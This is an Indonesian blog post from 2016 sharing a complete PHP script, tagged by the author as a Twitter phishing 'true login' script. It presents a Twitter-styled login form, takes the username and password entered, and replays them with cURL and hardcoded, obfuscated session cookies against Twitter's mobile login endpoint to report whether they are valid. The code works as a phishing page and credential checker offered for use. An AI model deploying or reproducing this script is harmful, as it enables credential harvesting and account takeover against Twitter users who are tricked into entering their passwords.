SELAMAT DATANG DI BLOG KAMI

Page Views

Blog Archive

Theme images by Storman. Powered by Blogger.

Labels

Popular Posts

Video Of Day

Friday 22 April 2016

Login Twitter Website using PHP CURL

Selamat malam gaes.
gegara koneksi gua ynag gak memadai jadi baru bisa share jam segini :3
padahal SC ini mau ane share tadi siang.

Begini lah koneksi di desa , signal baru nyampe EDGE, itu juga kadang Limited kadang lancar.
Miris ya ? mau berkembang aja susah bener.

oka langsung aja ane mau share PHP CURL LOGIN TWITTER WEBSITE


Bagi yang mau download silahkan :) Edit monggo asal masih nyertain Original Copyright :D

<?php 
error_reporting(0);
# PHP Curl Login Twitter.com By KHOIRUL ANAM
# ini SC nya gak Di Encode kok Bro
# ganti aja namanya cok :)
?>
<?php
if(isset($_POST['twituser'])) {
$username = $_POST['twituser']; #Your username (username kamu)
$password = $_POST['twitpass']; #Your password (password kamu)

$XxXxXXxX = 'Cookie: pid="v3:1459373554400807900051689"; guest_id=v1%3A146121679857512332; _mobile_sess=';
$xxXxXXXX = $username.'&session%5Bpassword%5D='.$password;
$xxXXxxXX = 'BAh7ByIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo';
$XXXxxxXX = 'SGFzaHsABjoKQHVzZWR7ADoQX2NzcmZfdG9rZW4iJTg1ZmQ4MDMwMjRiMGU3OGM3MjY1NzU2OTAwODMwNThk--';
$XXXXxxXx = 'authenticity_token=85fd803024b0e78c726575690083058d&remember_me=1&wfa=1';
$XXxxXXxX = '82d8fbf0b6985d98aa1dc46ac04d6398dc4a1861; mobile_metrics_token=146121682724152226; zrca=5; _ga=GA1.2.589694372.1461216930; _mb_tk=';
$xXXXxxXx = '85fd803024b0e78c726575690083058d; _twitter_sess=BAh7CCIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%25';
$xxxxxxXx = '&redirect_after_login=%2Fhome%3Flogin%3D1461222156095&session%5Busername_or_email%5D=';
$XxXxxXXx = '0ASGFzaHsABjoKQHVzZWR7ADoPY3JlYXRlZF9hdGwrCD6noDdUAToHaWQiJTFm%250AYzQ1YWFlZDI4NmYwMzkwNmVmYjE0MjkxNGFiMDE1--';
$XxxXXxXx = '3d5009e2a4261ee6556de450e3d6f25480e3923b; ua="f5,m2,m5,msw"';

$gabung1 = $XxXxXXxX.$xxXXxxXX.$XXXxxxXX.$XXxxXXxX.$xXXXxxXx.$XxXxxXXx.$XxxXXxXx;
$gabung2 = $XXXXxxXx.$xxxxxxXx.$xxXxXXXX;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://mobile.twitter.com/sessions');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $gabung2);

$headers = array();
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:45.0) Gecko/20100101 Firefox/45.0';
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Accept-Encoding: gzip, deflate, br';
$headers[] = 'Referer: https://mobile.twitter.com/login';
$headers[] = $gabung1;
$headers[] = 'Connection: keep-alive';
$headers[] = 'Content-Type: application/x-www-form-urlencoded';


curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($ch, CURLOPT_HEADER, 1);

$result = curl_exec($ch);
curl_close($ch);
$hasilcok = urlencode($result);
if(preg_match('#https%3A%2F%2Fmobile.twitter.com%2Fhome%3Flogin%3D#',$hasilcok)) {

$pesan = '<div style="width:200px;" class="msg-hydra-success">Login Success !</div><p>';

}else {
$pesan = '<div style="width:200px;" class="msg-hydra-failed">Login Failed !</div><p>';
}
}
?>
<table width=100% height=80%>
<td align=center>
<style>

.inpt-hydra {
border:1px solid #03B9A8;
border-radius:3px;
padding:7px;
width:90%;
}
.btn-hydra {
background:#03B9A8;
border:1px solid #03B9A8;
border-radius:3px;
padding:7px;
width:90%;
color:white;
}
.btn-hydra:hover {
background:teal;
border:1px solid #03B9A8;
border-radius:3px;
padding:7px;
width:90%;
color:white;
}
.msg-hydra-failed {
background:rgba(253, 0, 0, 0.63);
border:1px solid #FF2626;
border-radius:3px;
padding:3px;

color:white;
}
.msg-hydra-success {

background:rgb(69, 185, 74);
border:1px solid #009606;
border-radius:3px;
padding:3px;

color:white;
}

.panel-hydra {
border:1px solid #383C3B;
color:white;
width:300px;
border-radius:3px;
}
</style>
<div class="panel-hydra">
<h2 style="margin-top:0;padding:10px;color:white;background:#383C3B"><b>Twitter Login</b></h2>
<form method='post' action="">
<?php echo $pesan;?>
<input class="inpt-hydra" type='text' name='twituser' placeholder='username twitter'><p>
<input class="inpt-hydra" type='password' name='twitpass' placeholder='password twitter'><p>
<input class="btn-hydra" type='submit' name='submit' value='Login'>
</form>
<h4 style="margin-bottom:0;padding:5px;color:white;background:#383C3B"><b>&copy 2016 - PRINGSEWUCYBER</b></h4>
</div>
</td></table>

Bisa di test di localhost/cpanel, asalkan jangan cpanel gratisan mah gabisa :D Oke sekian aja posting kali ini. saya pamit undur diri, salam gua ganteng :D

TAG : PHP login twitter, Login Twitter Using PHP, Login Twitter Using CURL, Script Login Twitter, PHP Script, Script Phising Twitter True Login.

Comments
0 Comments
0 on: "Login Twitter Website using PHP CURL"